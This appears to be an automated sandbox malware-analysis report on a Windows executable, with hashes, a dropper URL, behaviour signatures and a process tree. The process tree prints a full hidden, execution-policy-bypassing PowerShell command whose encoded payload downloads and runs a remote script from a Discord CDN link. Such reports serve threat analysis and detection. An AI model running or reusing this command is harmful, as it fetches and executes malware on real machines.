Analysis

  • max time kernel
    31s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    28-03-2023 12:12

General

  • Target

    tmp.exe

  • Size

    92KB

  • MD5

    f0b2f2d5186ecb1df278892375e29171

  • SHA1

    f1e2e1365ad3463a5685bd6ab8eeb581f50dd0ee

  • SHA256

    03ac65cbbc897a705cfa15c74bba1adc773f88db724398db12d105d19ee8ee50

  • SHA512

    41fa116f39afd6f4e7fc7bad821c0ce9fe0db268dab18a9e83db6ec3fe6c83099bf14f80441f0bf87a4d5590782a1ba9908d6c576d8c56e224a8c096aae07c0d

  • SSDEEP

    1536:EjpxRYrm0MlPJFZyMzJdNHJGQ/l3pS+2ZyxDG/ONJctGVaIsWkBcd5ApB:EjF0M9bldNrpS+2ZyxDG//UVb58B

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://cdn.discordapp.com/attachments/1089906964944920650/1090020680885600276/6456234.ps1

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmp.exe
    "C:\Users\Admin\AppData\Local\Temp\tmp.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1964
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden -enc WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAOwAgAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADgAOQA5ADAANgA5ADYANAA5ADQANAA5ADIAMAA2ADUAMAAvADEAMAA5ADAAMAAyADAANgA4ADAAOAA4ADUANgAwADAAMgA3ADYALwA2ADQANQA2ADIAMwA0AC4AcABzADEAJwApAA==
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1936
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -w hidden -enc WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsACAAPQAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIAOwAgAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADgAOQA5ADAANgA5ADYANAA5ADQANAA5ADIAMAA2ADUAMAAvADEAMAA5ADAAMAAyADAANgA4ADAAOAA4ADUANgAwADAAMgA3ADYALwA2ADQANQA2ADIAMwA0AC4AcABzADEAJwApAA==
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1684

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/1684-56-0x0000000002760000-0x00000000027A0000-memory.dmp
    Filesize

    256KB

  • memory/1684-57-0x0000000002760000-0x00000000027A0000-memory.dmp
    Filesize

    256KB

  • memory/1684-58-0x0000000002760000-0x00000000027A0000-memory.dmp
    Filesize

    256KB